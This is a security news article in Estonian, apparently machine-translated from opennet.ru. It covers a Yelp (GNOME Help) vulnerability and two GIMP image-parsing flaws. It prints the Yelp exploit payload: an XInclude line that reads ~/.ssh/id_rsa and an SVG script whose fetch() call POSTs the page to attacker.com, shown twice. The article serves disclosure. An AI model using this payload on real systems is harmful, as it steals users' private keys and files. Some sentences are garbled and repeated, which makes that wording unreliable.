GNOME Help- ja GIMP-i haavatavused, mis võimaldavad koodi käivitada failide avamisel.

GNOME'i vaikimisi abimeetmete kuvajas, mida kasutatakse dokumentatsiooniga (GNOME Help) töötamiseks, leiti haavatavus (CVE-2025-3155), mis võimaldab spetsiaalselt kujundatud page-failide avamisel käivitada suvalist JavaScripti koodi. Selliste skriptide käitamine annab võimaluse kasutaja faile ründaja serverisse edastada. Haavatavuse kõrvaldamise jälgimist jaotustes saab teha järgmistelt lehtedelt: Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.

GNOME'is failide avamiseks on registreeritud URI «ghelp://», mida töödeldakse läbi Yelp'i kutse. Rünnaku sooritamiseks peab ründaja saama laadida oma faili index.page kasutaja süsteemi. Näiteks võib ta petta kasutajat laadima faili brauseri kaudu, klikkides ründaja veebilehe lingil. Kui fail on laaditud, saab ründaja algatada selle dokumendi avamise, suunates brauseri oma lehelt URL-ile ghelp://» koos failide asukohaga, kuhu fail on laaditud. Näiteks «ghelp:///proc/self/cwd/Downloads», kus tee «/proc/self/cwd» on seotud praeguse protsessi töökaustaga (yelp'i käivitamisel on see kasutaja kodukaust).

Haavatavus tuleneb sellest, et lehefailides kasutatakse Mallardi, XML-põhist formaate. Selles formaadis on võimalus dokumentidesse lisada sisu teistest failidest, kasutades XInclude mehhanismi. Lehefailide renderdamiseks muudab programm Yelp need XML-ist HTML-iks XSLT (yelp-xsl) abil, seejärel kuvab selle WebKitGtk mootoriga. Idee on saavutada JavaScripti lisamine lõpp-HTML-faili ja kasutada seda JavaScripti andmete edastamiseks. serveril sissepandud sisu kaudu XInclude.

JavaScripti lisamiseks on kasutatud, et XSLT kopeerib mõned elemendid HTML-i ilma eristamiseta, näiteks kopeeritakse täielikult element <svg> ja kogu selle sisemised elemendid. Seega, et edastada fail "~/.ssh/id_rsa", on piisav selle lisamine lehedokumendis direktiiviga "include": <include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/proc/self/cwd/.ssh/id_rsa"/> server Seejärel lisada elemendi <svg:script…> kaudu JavaScripti kutse koodiga, mis saadab POST-päringu välisele serverile, kasutades fetch() funktsiooni: <svg:svg xmlns:svg="http://www.w3.org/2000/svg"> <svg:script>onload=_=>fetch("http://attacker.com/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})</svg:script> </svg:svg>

Seejärele lisage elemendi kaudu JavaScripti kutsumine, mis saadab POST-päringu välisele serverile, kasutades fetch() funktsiooni: onload=_=>fetch("http://attacker.com/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})

Lisaks on välja toodud kaks haavatavust (CVE-2025-2761, CVE-2025-2760) graafilises redigeerijas GIMP, mis võimaldavad ründajal käivitada koodi, kui kasutaja avab spetsiaalselt ette valmistatud pilte formaatides XWD ja FLI. Mõlemad haavatavused on põhjustatud mittenõuetekohasest suuruse kontrollimisest andmete kopeerimisel puhverisse failide sisu analüüsimise käigus. Haavatavused on kõrvaldatud GIMP versioonis 3.0.0.

Allikas: opennet.ru

Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster